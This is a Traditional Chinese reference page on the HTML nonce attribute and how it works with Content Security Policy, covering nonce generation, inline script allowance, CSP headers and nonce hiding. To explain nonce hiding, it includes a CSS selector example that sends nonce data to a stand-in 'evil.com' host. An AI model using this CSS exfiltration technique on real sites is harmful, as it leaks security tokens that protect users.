HTML nonce 全域性屬性

Baseline 已廣泛支援

此特性已經十分成熟,可在許多裝置和瀏覽器版本上使用。自 2022 年 3 月起,它已在各瀏覽器中可用。

nonce 全域性屬性 是一個內容屬性,用於定義一個加密的 nonce(“僅使用一次的數字”),內容安全策略(Content Security Policy)可以使用它來決定是否允許給定元素執行某個獲取操作。

描述

nonce 屬性有助於允許特定元素,例如特定的內聯指令碼或樣式元素。它可以幫助您避免使用 CSPunsafe-inline 指令,該指令會允許所有內聯指令碼或樣式。

注意: 僅在您無法避免使用不安全的內聯指令碼或樣式內容時才使用 nonce。如果您不需要 nonce,請不要使用它。如果您的指令碼是靜態的,您也可以使用 CSP 雜湊代替。(請參閱有關 不安全的內聯指令碼 的用法說明。)儘可能充分利用 CSP 的保護措施,並避免使用 nonce 或不安全的內聯指令碼。

使用 nonce 允許 <script> 元素

使用 nonce 機制允許內聯指令碼涉及幾個步驟。

生成值

在您的 Web 伺服器上,使用加密安全的隨機數生成器生成一個至少 128 位的隨機 base64 編碼字串。Nonce 應該在每次頁面載入時都不同(nonce 僅使用一次!)。例如,在 nodejs 中:

js
import crypto from "node:crypto";

crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

允許內聯指令碼

您後端程式碼中生成的 nonce 現在應該用於您想要允許的內聯指令碼。

html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

透過 CSP 標頭髮送 nonce

最後,您需要將 nonce 值傳送到 Content-Security-Policy 標頭中(字首為 nonce-)。

http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

訪問 nonce 和 nonce 隱藏

出於安全原因,nonce 內容屬性是隱藏的(將返回一個空字串)。

js
script.getAttribute("nonce"); // returns empty string

nonce 屬性是訪問 nonce 的唯一方式。

js
script.nonce; // returns nonce value

Nonce 隱藏有助於防止攻擊者透過可以抓取內容屬性資料的機制(例如此處的)來竊取 nonce 資料。

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

規範

規範
HTML
# attr-nonce

瀏覽器相容性

另見